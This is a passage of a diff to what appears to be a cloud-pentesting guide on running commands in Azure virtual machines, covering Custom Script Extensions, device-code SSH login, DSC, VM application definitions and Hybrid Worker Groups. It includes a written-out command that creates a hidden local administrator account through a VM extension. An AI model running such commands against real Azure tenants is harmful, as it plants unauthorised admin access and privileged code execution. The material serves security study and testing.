Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}' +{% code overflow="wrap" %} ``` +(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct. + +To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready. +``` +{% endcode %} + +Just **follow those instructions** going to [https://microsoft.com/devicelogin](https://microsoft.com/devicelogin) and indicating the code, use the email and password as credentials and you will be able to connect via SSH (if that user has enough permissions to do so: `Virtual Machine Administrator Login` or `Virtual Machine User Login` role). ### DesiredConfigurationState (DSC) @@ -430,16 +596,6 @@ DesiredConfigurationState (DSC) is a PowerShell tool similar to Ansible, used fo The execution of these commands is facilitated by the [**`Publish-AzVMDscConfiguration`**](https://docs.microsoft.com/en-us/powershell/module/az.compute/publish-azvmdscconfiguration?view=azps-7.5.0) function in Az PowerShell. The requirements include a **.PS1** file with a defined function and the file must be zipped into a **.zip** file. Even though the syntax might not be accurate for DSC, the code will still execute. However, the extension will mark the execution status as "failure," and no output from the command will be visible due to the status being overwritten by the failure message. -### VM Application Definitions - -VM Application Definitions allow for the repeatable deployment of versioned applications to an Azure VM. This resource supports the deployment and update of applications across VMs. To set this up, several steps are required, involving commands like **`New-AzGalleryApplication`** and **`New-AzGalleryApplicationVersion`** in Az PowerShell. - -The execution of applications or commands through this method involves the **"VMAppExtension"**, which is installed automatically when an application is applied to a VM. The extension retrieves the file from the specified URI and names it exactly as the application, without an extension. To execute the file correctly, the "ManageActions" field in the REST API call must be configured to rename the file with the appropriate extension. The setup of this method, once complete, will resemble the structure shown in the provided figure. - -However, this method of execution is relatively slow, taking about 3-4 minutes to execute an application or command. The files related to this process are stored in specific directories (`C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\` for the application copy and `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\` for the execution status). - -Both techniques provide unique ways of executing commands and deploying applications in Azure environments, each with its own set of requirements, steps, and considerations. - ### Hybrid Worker Groups (HWGs) in Azure [**Hybrid Worker Groups (HWGs)**](https://docs.microsoft.com/en-us/azure/automation/automation-hybrid-runbook-worker) are a feature in Azure that allow Runbooks, configured in an Automation Account, to be executed on an Azure Virtual Machine (VM) that is part of the designated HWG. This execution is facilitated through an extension installed on the VM, which deploys the Runbook code onto the VM. A significant aspect of this process is that the actual credentials are not a factor in execution because the code runs with elevated privileges, specifically as **SYSTEM** or root, as illustrated in the provided figure.